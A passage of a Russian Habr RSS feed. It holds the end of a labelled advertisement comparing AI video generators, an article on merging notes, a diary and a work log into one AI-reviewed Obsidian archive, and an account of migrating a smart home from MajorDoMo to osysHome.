задачами?&lt;/h3&gt;&lt;p&gt;Монополии на генерацию контента больше не существует. Рынок разделен на несколько крупных лагерей, где каждый алгоритм заточен под свои специфические процессы. Основная битва за внимание продакшен-команд и независимых авторов сейчас развернулась между &lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fseedance&#34;&gt;Seedance 2.0&lt;/a&gt;, популярным в народе &lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fkling_3&#34;&gt;Kling 3.0&lt;/a&gt; и мощным &lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_veo3&#34;&gt;Google Veo 3.1&lt;/a&gt;.&lt;p&gt;Чтобы понять, какой инструмент выбрать под конкретную задачу, важно смотреть не на красивые рекламные шоурилы, а на сухие технические ограничения архитектуры.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Глубина контроля сцены:&lt;/strong&gt; Seedance удерживает безусловное лидерство за счет квадромодальности. Возможность загрузить одновременно текст, стартовое фото, референсное видео для физики и аудиофайл дает хирургическую точность. Kling 3.0 и Veo 3.1 предлагают более классический пайплайн (текст + картинка), оставляя меньше пространства для жесткой режиссуры.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Работа со звуком:&lt;/strong&gt; Технология Unified Generation от ByteDance генерирует визуальный ряд и аудиодорожку в едином процессе. Звук шагов или звон разбитого стекла идеально совпадает с физикой в кадре. Большинство других платформ используют алгоритмы пост-генерации (звук накладывается поверх уже готового видео), что часто приводит к рассинхрону в доли секунды.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Хронометраж и монтаж:&lt;/strong&gt; Критичный нюанс, о котором редко пишут. Модель Kling 3.0 испытывает серьезные трудности с генерацией роликов строго заданной длины единым цельным куском. Это сильно ломает процесс, если вам нужен точный тайминг для музыкального клипа. Seedance выдает монолитные блоки до 15 секунд без &amp;#34;провисаний&amp;#34; динамики.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Порог входа:&lt;/strong&gt; Kling 3.0 — идеальный выбор для быстрых тестов. Алгоритм прощает короткие, ленивые промпты и сам додумывает детали, выдавая красивую картинку. Seedance требует вдумчивой работы, четкого синтаксиса и подготовки референсов, но взамен отдает полный контроль над результатом.&lt;/ul&gt;&lt;h2&gt;Seedance 2.0 vs Kling 3.0 vs Veo 3.1&lt;/h2&gt;&lt;p&gt;Для наглядности мы собрали главные технические параметры флагманских моделей в единую матрицу. Это поможет быстро оценить возможности каждого движка.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Характеристика&lt;th&gt;&lt;p align=left&gt;&lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fseedance&#34;&gt;Seedance 2.0&lt;/a&gt;&lt;th&gt;&lt;p align=left&gt;&lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fkling_3&#34;&gt;Kling 3.0&lt;/a&gt;&lt;th&gt;&lt;p align=left&gt;&lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_veo3&#34;&gt;Google Veo 3.1&lt;/a&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Тип ввода (Модальность)&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Квадромодальный (Текст + Фото + Видео + Аудио). До 12 файлов за раз.&lt;td&gt;&lt;p align=left&gt;Бимодальный (Текст + Фото).&lt;td&gt;&lt;p align=left&gt;Мультимодальный (Текст + Фото + Базовое видео).&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Максимальная длина сцены&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;До 15 секунд (единым рендером).&lt;td&gt;&lt;p align=left&gt;До 10 секунд (часто требует склейки для сложных сцен).&lt;td&gt;&lt;p align=left&gt;До 12 секунд.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Генерация звука&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Нативная (встроена в процесс рендера видео). Идеальный тайминг.&lt;td&gt;&lt;p align=left&gt;Пост-генерация. Базовые шумы.&lt;td&gt;&lt;p align=left&gt;Нативная, с глубокой интеграцией эффектов студийного качества.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Синхронизация губ (Lip-sync)&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Да (продвинутая, считывает дыхание, 8+ языков).&lt;td&gt;&lt;p align=left&gt;Только через сторонние инструменты.&lt;td&gt;&lt;p align=left&gt;Да (высокая точность).&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Контроль работы камеры&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Максимальный. Точное понимание фокусного расстояния, трекинга, тряски.&lt;td&gt;&lt;p align=left&gt;Средний. Часто игнорирует сложные операторские команды.&lt;td&gt;&lt;p align=left&gt;Высокий. Отличная симуляция кинообъективов.&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Консистентность (удержание лиц)&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Высокая. Выдерживает смену планов и ракурсов.&lt;td&gt;&lt;p align=left&gt;Средняя. Лица могут &amp;#34;плыть&amp;#34; при активном движении.&lt;td&gt;&lt;p align=left&gt;Очень высокая (идеально для крупных планов).&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Целевое использование&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Кино-продакшен, музыкальные клипы, сложная реклама.&lt;td&gt;&lt;p align=left&gt;SMM, Reels, Shorts, мемы, быстрый креатив.&lt;td&gt;&lt;p align=left&gt;Студийная графика, корпоративный сегмент.&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Почему Seedance 2.0 стоит попробовать прямо сейчас&lt;/h2&gt;&lt;p&gt;Seedance 2.0 открывает фантастический простор для экспериментов. Это захватывающий опыт, где каждый может создать мини-фильм высокого качества без команды операторов и звукорежиссеров.&lt;p&gt;Не откладывайте знакомство с этой технологией. Заходите на Study AI, напишите свой первый промпт, сгенерируйте идеальную стартовую картинку через Nano Banana 2 и превратите ее в живое, динамичное видео с крутым звуком. Это проще, чем кажется, и невероятно увлекательно.&lt;p&gt;Реклама. ООО «ДИДЖИТАЛ ГЕНИУС». ИНН 7813681158&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/studyai/articles/1024828/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024828</guid>
      <pubDate>Fri, 17 Apr 2026 17:30:21 +0000</pubDate>
    </item>
    <item>
      <title>Дневник, заметки, рабочий лог — как они у меня оказались в одной папке</title>
      <link>https://habr.com/ru/articles/1024824/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024824</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/47c/09c/202/47c09c202eab921c11bd4c33419e1f81.jpg width=780 height=440 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/47c/09c/202/47c09c202eab921c11bd4c33419e1f81.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/47c/09c/202/47c09c202eab921c11bd4c33419e1f81.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Я уже много лет веду записи в трех разных форматах: заметки, личный дневник и рабочий лог. Они появились в разное время, велись с разной регулярностью и хранились по отдельности.&lt;h3&gt;Заметки&lt;/h3&gt;&lt;p&gt;Фотоальбом маленьких открытий: заметил связь, сложилось понимание, записал. Запись дает мысли форму, и мысль перестает крутиться внутри. Тут работает эффект Зейгарник: незавершенное держит внимание, завершенное отпускает. По сути психогигиена.&lt;p&gt;Поэтому заметка для меня не черновик, который когда-нибудь дозреет до статьи, а способ запечатлеть мысль. Если тема возвращается позже, она приходит заново, с другим пониманием, и я просто пишу новую заметку. В этом отличие от second brain. Там заметка — объект, который дорабатывают, связывают с другими, собирают в общую картину. У меня заметка — именно снимок. Иногда она может стать публичной в виде поста в блоге или даже основы для статьи, но это, скорее, побочный эффект.&lt;h3&gt;Личный дневник&lt;/h3&gt;&lt;p&gt;Дневник я веду нерегулярно, только когда есть запрос. Это не хроника событий, а способ разбираться с внутренними процессами — мне в письменном виде это проще, чем крутить в голове.&lt;p&gt;В отличие от заметки, которая фиксирует мысль или наблюдение, дневниковая запись помогает разобраться с личной ситуацией. Иногда из такого разбора потом вырастает и заметка — уже как наблюдение более общего характера.&lt;h3&gt;Рабочий лог&lt;/h3&gt;&lt;p&gt;В роли руководителя нужно помнить конкретику: кто что сделал, как повел себя на встрече, где что-то пошло не так, какое решение было принято и почему. Без записи это быстро стирается, а в ретроспективе и на ревью общими словами уже не отделаешься. По сути это внешняя память, хронология наблюдений, которую можно поднять по необходимости. Ценность этой практики в фиксации фактов, а не их интерпретаций, как в заметках и дневнике.&lt;h3&gt;ИИ-ретроспектива&lt;/h3&gt;&lt;p&gt;Все поменял ИИ. С записями стало возможно работать как аналитику с базой данных: задавать вопросы, искать закономерности на любом временном масштабе. Ретроспектива, которая раньше требовала ручного разбора, стала дешевой.&lt;p&gt;Сначала я использовал это только для работы — там фокусы понятны заранее: команда, процессы, решения. Для личных вопросов фокусы заранее не определишь, но теперь это уже не обязательно: можно просто записывать, ИИ сам увидит, на что стоит посмотреть. Так к рабочему логу добавился сначала личный дневник, а потом и заметки. Теперь у меня одна база, где каждая запись — просто текст с датой, и единственным решением остается только писать или не писать.&lt;h3&gt;Время как связь&lt;/h3&gt;&lt;p&gt;В объединенной базе я ничего не связываю вручную — ни тегов по темам, ни ссылок между записями. Связь восстанавливается по факту соседства во времени: что лежит рядом, то и связано. Теги я не использую сознательно, потому что это попытка классифицировать запись заранее. Дата такой проблемы не создает.&lt;p&gt;Интересное в этом, что ИИ в такой базе умеет находить связи: что повторяется, что проявляется в разных контекстах одинаково, что расходится с тем, что я сам про себя думаю. Например, один и тот же внутренний процесс часто проявляется сразу в нескольких сферах, но внешне выглядит как разные истории. Попытка справиться с тревогой неопределенности в рабочем логе может отразиться как эпизод микроменеджмента, в дневнике — как гиперопека детей, а в заметках — как упоминание темы лидерства.&lt;h3&gt;Как устроено&lt;/h3&gt;&lt;p&gt;В основе — plain text, git, локальные файлы. На практике это Markdown, Obsidian, GitHub. Синхронизация между телефоном и компьютером происходит через git-плагины — бесплатно и без привязки к одной экосистеме.&lt;p&gt;Obsidian настроен так, что новая запись сразу создается в нужной папке с датой через core plugin &amp;#34;Daily note&amp;#34;.&lt;p&gt;Структура папок:&lt;pre&gt;&lt;code&gt;raw/&#xA;└─ 2026/&#xA;   └─ 03/&#xA;      └─ 2026-03-14 Topic.md&#xA;      └─ 2026-03-14 12-30-00.md&#xA;&#xA;retros/&#xA;└─ 2026/&#xA;   └─ 2026-03.md&#xA;   └─ 2026.md&#xA;&#xA;agents.md&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Имя файла содержит дату и, если есть, тему. Папки &lt;code&gt;YYYY/MM&lt;/code&gt; дублируют дату — это сознательная избыточность: связи между записями она не меняет, но навигация в архиве (и для меня, и для ИИ) становится быстрее.&lt;p&gt;Теги только для фильтрации:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;#work&lt;/code&gt; — для рабочего подмножества;&lt;li&gt;&lt;p&gt;&lt;code&gt;#public&lt;/code&gt; — для кандидатов на публикацию;&lt;li&gt;&lt;p&gt;&lt;code&gt;#agent&lt;/code&gt; с указанием модели — в файлах ретроспектив.&lt;/ul&gt;&lt;p&gt;Больше ничего, ссылок тоже нет.&lt;p&gt;Для ИИ-ретроспектив в корне лежит &lt;a href=http://agents.md rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;agents.md&lt;/code&gt;&lt;/a&gt; — описание структуры данных, чтобы агент понимал, где что лежит и как записи соотносятся между собой. Конкретные вопросы задаются в момент запроса. Если интересно посмотреть на мой &lt;a href=http://agents.md rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;agents.md&lt;/code&gt;&lt;/a&gt;, вот &lt;a href=https://github.com/ken48/obsidian-notes.git rel=&#34;noopener noreferrer nofollow&#34;&gt;ссылка на репозиторий с этой статьей&lt;/a&gt;, где в корне лежит этот файл.&lt;p&gt;Форматирование в markdown мне надоело поддерживать руками, и я сделал для macOS &lt;a href=https://github.com/ken48/textops rel=&#34;noopener noreferrer nofollow&#34;&gt;Textops&lt;/a&gt; — аналог code formatter в IDE. По хоткею он нормализует списки, пробелы, капитализацию, тире. Орфография и смысл не трогаются.&lt;h3&gt;Плюс 1. Ретроспектива глубже&lt;/h3&gt;&lt;p&gt;ИИ берет записи за любой период и сжимает в обзор. Обзоры сжимаются дальше: месячные в годовые, годовые в общую картину. Каждый уровень снижает стоимость анализа, а исходные записи остаются нетронутыми. И вопросы теперь можно задавать не только про работу:&lt;pre&gt;&lt;code&gt;Что сейчас в моей жизни главное и как мне в этом?&#xA;На чем в последнее время чаще всего оказывается мое внимание?&#xA;Совпадает ли то, что я считаю главным, с тем, что реально занимает внимание?&#xA;Что дает энергию, а что забирает?&#xA;Что повторяется, но не сдвигается?&#xA;Что выпадает из поля зрения?&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Плюс 2. Запись дешевле&lt;/h3&gt;&lt;p&gt;Больше не нужно решать на входе, куда отнести эту конкретную мысль — заметки, дневник или лог. Все идет в одну папку одним потоком.&lt;h3&gt;Итого&lt;/h3&gt;&lt;p&gt;Получился единый архив, связанный временем. Тот же принцип, что и в моем едином календаре из &lt;a href=https://habr.com/ru/articles/1014620/ rel=&#34;noopener noreferrer nofollow&#34;&gt;предыдущей статьи&lt;/a&gt;: там время организует действия, здесь — записи.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>ken48</author>
      <guid>https://habr.com/ru/articles/1024824/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024824</guid>
      <pubDate>Fri, 17 Apr 2026 17:16:53 +0000</pubDate>
    </item>
    <item>
      <title>8 лет на MajorDoMo и переход на osysHome: как я переезжал без отключения дома</title>
      <link>https://habr.com/ru/articles/1024822/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024822</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Переезд начался не из-за какой-то аварии. Просто в какой-то момент я понял, что мне уже неприятно лишний раз лезть в сценарии: одна правка тянула за собой еще несколько проверок.&lt;p&gt;В какой-то вечер полез поправить один старый сценарий. Дальше, как обычно, пришлось проверить соседние связи, потом еще один кусок логики, потом еще. На этом и поймал себя: система вроде работает, а трогать ее лишний раз уже не хочется.&lt;p&gt;Тогда я и решил, что пора переезжать.&lt;p&gt;Сразу скажу: osysHome я пишу сам. Поэтому это не обзор рынка и не попытка кого-то переубедить. Просто рассказываю, как переезжал у себя дома.&lt;h3&gt;Почему я вообще задумался о миграции&lt;/h3&gt;&lt;p&gt;С MajorDoMo я прожил восемь лет. Это был не тестовый стенд и не история «поставил, поигрался и забыл». За эти годы система обросла устройствами, интеграциями, уведомлениями, фоновыми скриптами, служебной логикой и всем тем хозяйством, которое сначала кажется временным, а потом живет годами.&lt;p&gt;Долгое время меня всё устраивало. Но система росла, и вместе с ней начали копиться вещи, которые по отдельности вроде терпимы, а вместе утомляют:&lt;ul&gt;&lt;li&gt;&lt;p&gt;автоматизации местами стали откликаться не так быстро, как раньше;&lt;li&gt;&lt;p&gt;с данными работать было уже не очень удобно;&lt;li&gt;&lt;p&gt;доступы тоже хотелось держать в более понятном виде, без лишней обвязки;&lt;li&gt;&lt;p&gt;а со сценариями стало совсем тяжело: любая правка тянула за собой ручную проверку.&lt;/ul&gt;&lt;p&gt;Последний пункт для меня оказался самым важным. Когда у тебя большая система, проблема обычно уже не в том, можно ли сделать еще одну автоматизацию. В какой-то момент даже мелкая правка перестала быть мелкой: полез на 10 минут, а завис на весь вечер.&lt;p&gt;Но переезжал я не потому, что osysHome мой.&lt;p&gt;Проблемы, конечно, никуда не делись. Просто с osysHome мне удобнее разбираться со своим хозяйством.&lt;h3&gt;Как выглядел мой стенд&lt;/h3&gt;&lt;p&gt;Железо у меня довольно простое: &lt;code&gt;SOYO M4 AIR N95 16GB+512GB&lt;/code&gt;, крутится всё это на &lt;code&gt;Ubuntu Server 25.10&lt;/code&gt;.&lt;p&gt;То есть никакой отдельной стойки, ничего героического. Обычный домашний сервер, на котором живет автоматизация.&lt;p&gt;По интеграциям после переезда у меня остались:&lt;ul&gt;&lt;li&gt;&lt;p&gt;MQTT;&lt;li&gt;&lt;p&gt;Zigbee2MQTT;&lt;li&gt;&lt;p&gt;ESPHome;&lt;li&gt;&lt;p&gt;miio;&lt;li&gt;&lt;p&gt;OpenHasp;&lt;li&gt;&lt;p&gt;ThinQ;&lt;li&gt;&lt;p&gt;Keenetic.&lt;/ul&gt;&lt;p&gt;В системе около 200 объектов. И это не только конечные устройства вроде реле и датчиков. Там же и виртуальные сущности, и служебные объекты, и вся связующая логика между ними.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c3e/b6e/690/c3eb6e690d72d069626cd23bc3ce3317.png alt=&#34;Текущий контур в osysHome после переезда: часть объектов, устройств и служебной логики.&#34; title=&#34;Текущий контур в osysHome после переезда: часть объектов, устройств и служебной логики.&#34; width=2556 height=1362 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c3e/b6e/690/c3eb6e690d72d069626cd23bc3ce3317.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c3e/b6e/690/c3eb6e690d72d069626cd23bc3ce3317.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Текущий контур в osysHome после переезда: часть объектов, устройств и служебной логики.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Отдельно скажу про Xiaomi. Больше всего времени у меня неожиданно съели именно эти устройства: пылесос, люстра, увлажнитель и даже поилка для животных. Снаружи это выглядит как обычная бытовуха. По факту именно на этом я потерял больше вечеров, чем хотел бы.&lt;h3&gt;Почему я ушел именно на osysHome&lt;/h3&gt;&lt;p&gt;Тут, понятно, ответ не может быть полностью нейтральным: osysHome я и делал в том числе под те вещи, которые меня раздражали в старом контуре.&lt;p&gt;Но это всё равно не было автоматическим решением из серии «перейду на свое, потому что свое». Мне нужна была система, в которой мне самому будет проще разбираться через полгода, когда опять полезу что-то менять. Не демонстрировать фичи, а именно сопровождать реальный дом: что-то добавлять, что-то менять, не бояться лишний раз полезть в систему.&lt;p&gt;Хотелось более понятную объектную структуру, внятную работу со свойствами и методами, нормальный плагинный подход и доступы, которые не надо каждый раз отдельно подпирать. Короче, систему, в которой потом самому не больно копаться.&lt;p&gt;Для меня это был главный критерий. Не «какая система лучше вообще», а «в какой системе мне будет легче жить со своим хозяйством через полгода и через год».&lt;h3&gt;Как я организовал сам переезд&lt;/h3&gt;&lt;p&gt;Главное, что я сделал правильно, — не стал переносить всё разом.&lt;p&gt;osysHome я поднял рядом с MajorDoMo. Какое-то время обе системы работали параллельно. Мне такой подход был сильно ближе, чем классическая схема с одним большим вечером переключения, после которого надо срочно тушить всё, что внезапно не поехало.&lt;p&gt;Сначала я поднял интеграции и добился простой вещи: устройства должны нормально определяться и управляться руками. Пока команда не проходит вручную и состояние не читается стабильно, про перенос сценариев даже думать рано.&lt;p&gt;Потом начал собирать структуру объектов уже в osysHome. Не просто копировать старое один в один, а раскладывать это так, как мне потом будет удобно с этим жить.&lt;p&gt;После этого пошел в автоматизации. Тут правило было простое: сначала делаю и проверяю в osysHome, потом отключаю старый кусок в MajorDoMo. Не наоборот.&lt;p&gt;За счет этого у меня на каждом этапе оставалась рабочая система. Это, наверное, и было самым важным. Не «быстрый переезд», а переезд без ощущения, что одним неверным движением можно оставить дом в полуразобранном состоянии.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/67d/c38/20a/67dc3820afbc78718671990b3d0bfc4f.png alt=&#34;Вот на этом этапе я уже переносил группы устройств и их логику, а старые куски в MajorDoMo отключал только после проверки.&#34; title=&#34;Вот на этом этапе я уже переносил группы устройств и их логику, а старые куски в MajorDoMo отключал только после проверки.&#34; width=2279 height=878 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/67d/c38/20a/67dc3820afbc78718671990b3d0bfc4f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/67d/c38/20a/67dc3820afbc78718671990b3d0bfc4f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Вот на этом этапе я уже переносил группы устройств и их логику, а старые куски в MajorDoMo отключал только после проверки.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Как я переносил устройства&lt;/h3&gt;&lt;p&gt;Я довольно быстро понял, что удобнее переносить группами по функциональности. Так я меньше путался.&lt;p&gt;То есть логика была такая: сначала реализую нужный класс, потом добавляю объекты, потом привязываю их к реальным устройствам и проверяю всё это уже в живом контуре.&lt;p&gt;Делал я это в основном по вечерам. Обычно за вечер получалось собрать пару групп. Такой темп меня устраивал, потому что можно было не спешить и не пытаться за один заход перевезти полдома.&lt;p&gt;Так проще понять, где именно что-то сломалось&lt;em&gt;.&lt;/em&gt; Когда переносишь кусок логики целиком, быстрее понимаешь, где именно что-то пошло не так: в интеграции, в объектной модели, в сценарии или вообще в дубле, который ты забыл отключить в старой системе.&lt;h3&gt;Что пришлось заодно переделать&lt;/h3&gt;&lt;p&gt;Переезд получился не совсем «один в один». Раз уж я полез глубоко в контур, заодно пересобрал часть вещей так, как давно хотел.&lt;p&gt;На ESPHome у меня в итоге ушли:&lt;ul&gt;&lt;li&gt;&lt;p&gt;реле, которые раньше были на Tasmota;&lt;li&gt;&lt;p&gt;bluetooth gateway для сбора данных с bluetooth-сенсоров;&lt;li&gt;&lt;p&gt;бегущая строка на &lt;code&gt;MAX7219&lt;/code&gt;;&lt;li&gt;&lt;p&gt;&lt;code&gt;Modbus&lt;/code&gt;-конвертер для чтения данных со счетчика.&lt;/ul&gt;&lt;p&gt;Это, конечно, добавило работы. Но, если честно, я не жалею. Иногда, когда и так уже вскрываешь систему, проще сразу привести часть узлов в порядок, чем аккуратно перетаскивать в новую платформу всё старое, включая то, что давно хотелось переделать.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7a0/706/f50/7a0706f50bb0f32b1bc677bf94be20c9.png alt=&#34;Часть устройств, которые я заодно перевел на ESPHome во время миграции.&#34; title=&#34;Часть устройств, которые я заодно перевел на ESPHome во время миграции.&#34; width=2187 height=1116 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7a0/706/f50/7a0706f50bb0f32b1bc677bf94be20c9.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7a0/706/f50/7a0706f50bb0f32b1bc677bf94be20c9.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Часть устройств, которые я заодно перевел на ESPHome во время миграции.&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Что оказалось самым долгим&lt;/h3&gt;&lt;p&gt;Самое долгое — не установка и не базовая настройка. Больше всего времени ушло на две вещи.&lt;p&gt;Первая — старая логика. Такие домашние системы живут долго, и в них всегда есть сценарии, которые когда-то делались «на вечер», потом прижились, потом обросли зависимостями, а через пару лет уже не так просто вспомнить, почему там вообще всё устроено именно так.&lt;p&gt;Вторая — Xiaomi. Вот здесь я реально завис заметно дольше, чем рассчитывал. Причем не на чем-то экзотическом, а на вполне бытовом наборе: пылесос, люстра, увлажнитель, поилка для животных. Поилка для животных вообще заняла непропорционально много времени.&lt;p&gt;Весь переход в сумме занял около двух недель. Но это были не две недели «поставил и готово». Это были обычные вечерние сессии: сделал кусок, проверил, что-то поправил, перенес следующую группу, посмотрел, нет ли дублей, и только потом пошел дальше.&lt;h3&gt;Что дал параллельный запуск двух платформ&lt;/h3&gt;&lt;p&gt;Если смотреть назад, это и было самым правильным решением.&lt;p&gt;Параллельный запуск сильно упростил переезд. Не нужно было устраивать один большой день переключения и потом судорожно ловить последствия. Можно проверять всё по частям, не торопиться и сразу видеть, где реальная проблема, а где просто забытый хвост от старой логики.&lt;p&gt;Для меня это дало несколько очень простых плюсов:&lt;ul&gt;&lt;li&gt;&lt;p&gt;дом продолжал жить как обычно;&lt;li&gt;&lt;p&gt;можно было спокойно откатиться, если что-то не понравилось;&lt;li&gt;&lt;p&gt;быстрее было видно, где именно проблема;&lt;li&gt;&lt;p&gt;не приходилось пытаться перевезти всё за один вечер.&lt;/ul&gt;&lt;p&gt;В результате никакой отдельной «ночи миграции» у меня не случилось. В какой-то момент я просто понял, что в MajorDoMo уже почти ничего важного не осталось. После этого остановил его, еще немного понаблюдал за системой уже на одном osysHome и потом окончательно убрал старый контур.&lt;h3&gt;Что я получил после переезда&lt;/h3&gt;&lt;p&gt;Специально не буду писать, что «всё стало в три раза быстрее». У меня нет таких цифр. Я не делал синтетических тестов и не хочу их придумывать.&lt;p&gt;Но в повседневной жизни изменения заметны.&lt;p&gt;Во-первых, стало спокойнее лезть в автоматизации и что-то менять.&lt;p&gt;Во-вторых, упростилось поддержка сценариев. На таком размере системы уже важнее не то, как быстро добавить что-то новое, а сколько сил потом уходит на поддержку.&lt;p&gt;В-третьих, мне стало легче поддерживать порядок в доступах и в структуре логики. Для большого домашнего контура это важнее, чем кажется в начале пути.&lt;p&gt;Если коротко, хотелось, чтобы система отнимала меньше сил. В моем случае это получилось.&lt;h3&gt;Что в osysHome меня самого не устраивает&lt;/h3&gt;&lt;p&gt;После переезда, понятно, не стало идеально.&lt;p&gt;У osysHome есть свои минусы.&lt;p&gt;Новому человеку в osysHome, думаю, будет тяжеловато въехать с нуля. Мне в этой модели удобно, потому что я ее собирал под себя. Человеку со стороны, особенно если он привык к другой логике, въехать будет тяжелее.&lt;p&gt;Не всё есть из коробки. Часть вещей я до сих пор просто делаю руками. Там, где зрелые старые системы накопили длинный шлейф модулей и типовых сценариев, у меня часть вещей всё еще проще сделать руками.&lt;p&gt;Документация, как это обычно бывает, за кодом не поспевает. И это не красивая оговорка, а обычная проблема таких проектов: код живет быстрее, чем его описание.&lt;p&gt;Минусы остались, но с osysHome мне просто удобнее жить и что-то менять по ходу.&lt;h3&gt;Итог&lt;/h3&gt;&lt;p&gt;Я переезжал не ради новизны. И уж точно не потому, что захотелось срочно уйти на свою систему. В какой-то момент мне просто надоело, что на поддержку MajorDoMo уходит слишком много сил.&lt;p&gt;У меня это сработало. Переезд не был быстрым, местами был нудным, особенно на Xiaomi, но в итоге с системой стало просто легче. Я перенес всё без резкого отключения старой схемы и заодно переделал несколько вещей, до которых давно не доходили руки.&lt;p&gt;Всем ли нужен такой переезд? Конечно, нет. Если ваш стенд на MajorDoMo работает стабильно, не раздражает в сопровождении и не заставляет каждый раз бояться правок, то, возможно, ничего менять и не надо.&lt;p&gt;Но если система уже разрослась и начала отнимать слишком много сил, постепенный переезд тоже может быть нормальным вариантом. У меня это сработало.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Anisan</author>
      <guid>https://habr.com/ru/articles/1024822/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024822</guid>
      <pubDate>Fri, 17 Apr 2026 17:15:56 +0000</pubDate>
    </item>
    <item>
      <title>Путаница в уязвимостях WSUS: ставим все на свои места</title>
      <link>https://habr.com/ru/companies/pt/articles/1024766/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024766</link>
